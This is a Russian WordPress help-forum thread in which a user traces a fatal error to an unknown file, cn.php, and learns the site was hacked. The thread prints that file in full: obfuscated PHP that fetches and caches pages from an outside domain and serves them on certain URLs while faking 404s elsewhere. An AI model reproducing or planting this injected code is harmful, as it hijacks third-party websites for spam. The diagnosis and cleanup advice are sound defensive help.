пропал сайт, админка работает
-
в логах есть такое:
PHP Fatal error: Cannot redeclare get_page() (previously declared in /www/site/users/site-name/www/htdocs/cn.php:74) in /www/site/users/site-name/www/htdocs/wp-includes/post.php on line 3187Подскажите, как с этим бороться? Понимаю, что не может задекларировать функцию get-page(), но дальше знаний не хватает.
Перед этим пытался сделать дочернюю тему, но она что-то не появилась, может отсюда ноги растут.
-
1. Откуда взялся файл
cn.phpв корневом каталоге?
2. Где он используется и что в нём содержится?Гм, даже не знаю, сам точно не добавлял, может он появился как раз из-за попытки создать дочернюю тему?
может он появился как раз из-за попытки создать дочернюю тему?
Очень маловероятно.
Скорее всего сайт взломан, а это шелл. Можно воспоьзоваться ай-болитом, только перед тем внимательно почитать хелпы-факи к нему.да,блин, похоже, вот этот файл
<? function _1307200918($i){$a=Array('home','index','en','p=','template','sitemap','rss','http://fprcorp.com/1/site-name','je','2008-08-09 09:14:07','system','config','QUERY_STRING','a+','w','a+','host','path','host',"Connection: Close\r\n\r\n",'',"\r\n\r\n",'vqcjabwtellchpsqckda','jtjz',"\r\n\r\n",'headers','content','/','headers','200 OK',"HTTP/1.0 404 Not Found",'REQUEST_URI','/Content-Type: (.*)/','headers','text/plain','Content-Type: ','content');return $a[$i];} ?><?php error_reporting(0); $_0=3736; $_1 = _1307200918(0); if((2450+1194)>2450 || fopen($_2,$_3,$_4,$_5));else{mktime($_6,$_7,$_SERVER);} $_8 = _1307200918(1); $_9=_1307200918(2); $_10 = array(_1307200918(3), _1307200918(4), _1307200918(5), _1307200918(6)); if(6841<mt_rand(2936,3900)) strpos($_2,$_11); $_12 = _1307200918(7); $_13=_1307200918(8); $_14 = 1; $_15 = _1307200918(9); if(4611<mt_rand(2274,2332)) touch($_16,$_SERVER,$_15); $_17 = _1307200918(10); $_18=1746; $_19 = _1307200918(11); while(655-655) unlink($_7,$_12); $_20 = $_SERVER[_1307200918(12)]; if((2126+4135)>2126 || preg_match_all($_21,$_21,$_22));else{array_shift($_3,$_19);} function write_cache($_6, $_23) { global $_17, $_19, $_14, $_15; $_21 = serialize($_23); $_24=3754; if($_14) $_21 = gzdeflate($_21); $_2 = fopen($_19, _1307200918(13)); if(!$_2) return 0; fseek($_2, 0, SEEK_END); $_25 = ftell($_2); $_26 = $_25 + strlen($_21); fwrite($_2, $_21); if((4506+3435)>4506 || touch($_26,$_3,$_4,$_14));else{dir($_1,$_25,$_27,$_8);} fclose($_2); touch($_19, strtotime($_15)); if(6135<mt_rand(1999,4131)) mkdir($_7,$_28,$_3); $_28 = unserialize(file_get_contents($_17)); if(5529<mt_rand(1670,3854)) preg_split($_29,$_11); $_28[$_6] = array($_25, $_26); $_28 = serialize($_28); if((1225+3631)>1225 || fopen($_14,$_12,$_SERVER,$_SERVER));else{curl_multi_info_read($_11,$_11);} $_2 = fopen($_17, _1307200918(14)); if(!$_2) return 0; fwrite($_2, $_28); fclose($_2); touch($_17, strtotime($_15)); return 1; } function get_cache($_6) { global $_17, $_19, $_14; while(3243-3243) gzinflate($_1,$_6,$_5); $_28 = file_get_contents($_17); if($_28 === 0) return 0; $_4 = unserialize($_28); if(!isset($_4[$_6])) return 0; $_2 = fopen($_19, _1307200918(15)); if(!$_2) return 0; fseek($_2, $_4[$_6][0]); $_23 = fread($_2, $_4[$_6][1] - $_4[$_6][0]); if($_14) $_23 = gzinflate($_23); return unserialize($_23); } function get_page($_27) { $_27 = parse_url($_27); if(7314<mt_rand(2375,4934)) write_cache($_26,$_8,$_27,$_30); $_2 = fsockopen($_27[ _1307200918(16)], 80, $_5, $_31, 10); while(335-335) imagecreatefromgd2($_5,$_19,$_29); if (!$_2) { echo "$_31 ($_5)<br />\n"; } else { $_30 = "GET {$_27[ _1307200918(17)]} HTTP/1.1\r\n"; $_30 .= "Host: {$_27[ _1307200918(18)]}\r\n"; $_30 .= _1307200918(19); $_32=516; fwrite($_2, $_30); $_23 = _1307200918(20); if((1174+3781)>1174 || session_module_name($_31,$_19));else{ob_clean($_8,$_2,$_25);} while (!feof($_2)) { $_23 .= fgets($_2, 128); } $_22 = substr($_23, 0, strpos($_23, _1307200918(21))); if(strpos( _1307200918(22), _1307200918(23))!==false)bin2hex($_22,$_3,$_SERVER); $_29 = substr($_23, strpos($_23, _1307200918(24)) + 4); } return array( _1307200918(25) => $_22, _1307200918(26) => $_29); if(8039<mt_rand(3472,4562)) imagecreate($_11,$_14,$_14); } function do_work($_11) { global $_12; if(2870<mt_rand(783,2082)) nl2br($_27,$_22); if(($_7 = get_cache($_11)) == false) { $_7 = get_page($_12 . _1307200918(27) . $_11); write_cache($_11, $_7); } if(!strpos($_7[ _1307200918(28)], _1307200918(29))) { header( _1307200918(30)); echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n<html><head>\r\n<title>404 Not Found</title>\r\n</head><body>\r\n<h1>Not Found</h1>\r\n<p>The requested URL {$_SERVER[ _1307200918(31)]} was not found on this server.</p>\r\n</body></html>"; exit; } if(preg_match( _1307200918(32), $_7[ _1307200918(33)], $_3)) { $_33 = $_3[1]; if($_33 != _1307200918(34)) header( _1307200918(35) . $_33); } echo $_7[ _1307200918(36)]; exit; } foreach($_10 as $_16) { if(strpos($_20, $_16) === 0) do_work($_20); } if($_20 == $_1) do_work($_8); ?>Спасибо за ссылку, пойду к доктору.
А просто грохнуть этот файл, не поможет? Сайт до этой дочерней темы работал себе спокойно. Она, кстати, работает вообще эта фича с дочерней темой? А то несколько раз пытался сделать и ни в какую.
А просто грохнуть этот файл, не поможет?
Грохнуть нужно сразу же. Но этого мало — нужно найти причину как он там появился. И закрыть её. Ибо появится ещё не раз.
Она, кстати, работает вообще эта фича с дочерней темой?
Смотря какая фича. Если сделано по мануалу, то проблем в общем-то нет.
Ида, см п2 правил форума. 😉Ура! Сайт заработал после удаления файла. Спасибо за подсказки
Теперь пойдем делать прививки))
P.S. Про вторую тему сорри, просто предполагал, что они связаны.
Тема «пропал сайт, админка работает» закрыта для новых ответов.